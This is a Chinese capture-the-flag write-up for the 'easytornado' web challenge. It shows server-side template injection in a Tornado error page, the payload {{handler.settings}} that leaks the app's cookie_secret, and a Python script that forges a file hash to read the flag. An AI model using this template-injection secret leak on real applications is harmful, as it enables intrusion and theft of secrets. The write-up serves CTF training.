攻防世界 WEB 高手进阶区 easytornado Writeup
攻防世界 WEB 高手进阶区 easytornado Writeup
题目介绍
题目考点
- Python模板 tornado
- 模板注入
Writeup
-
进入题目, 目录遍历得到
/flag.txt /welcome.txt /hints.txt
/flag.txt flag in /fllllllllllllag /welcome.txt render /hints.txt md5(cookie_secret+md5(filename))
-
分析
-
进入第一个文件 flag.txt,发现好像提示文件名为
/fllllllllllag
, -
进入第二个文件 welcome.txt,发现提示为render,render({options}) 去向模板中渲染数据, 可以把视图响应给客户端,猜测存在模板注入。
-
进入第三个文件hints.txt,发现提示
md5(cookie_secret + md5(filename))
,即先将filename
md5加密,再将cookie_secret
与md5加密后的filename
进行md5加密,目前我们需要知道的是filename
和cookie_secret
,猜测文件名为/fllllllllllag
,也就是说,只要知道cookie_secret
就行了。 -
观察查看文件时使用的url:
http://220.249.52.134:43020/file?filename=/welcome.txt&filehash=0e875a192ca6f90ad46bc72295999e19
猜测
md5(cookie_secret + md5(filename))
的结果就是访问文件时所需要的filehash
。尝试访问
/fllllllllllag
,发现跳转到错误页面测试 http://220.249.52.134:43020/error?msg={{str}} 发现存在模板注入
-
-
现在重点是获取
cookie_secret
,可以从模板注入入手查阅资料得,发现
secure cookie
是Tornado 用于保护cookies安全的一种措施在tornado模板中,存在一些可以访问的快速对象,例如
<title> {{ escape(handler.settings["cookie"]) }} </title>
handler 指向RequestHandler, 而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
-
测试 http://220.249.52.134:43020/error?msg={{handler.settings}}
-
整理一下:
filename:/fllllllllllag
cookie_secret: 6ec075b3-6809-4f31-aedb-b129566a1087
计算:md5(cookie_secret+md5(filename))
import hashlib filename = '/fllllllllllllag' cookie_secret = '6ec075b3-6809-4f31-aedb-b129566a1087' def getmd5(string): md5 = hashlib.md5() md5.update(string.encode('utf-8')) return md5.hexdigest() print(getmd5(cookie_secret + getmd5(filename)))
//输出 abd5e68b7ae4c15f28bdc2b10690c2aa
-
构造最终payload
http://220.249.52.134:43020/file?filename=/fllllllllllllag&filehash=abd5e68b7ae4c15f28bdc2b10690c2aa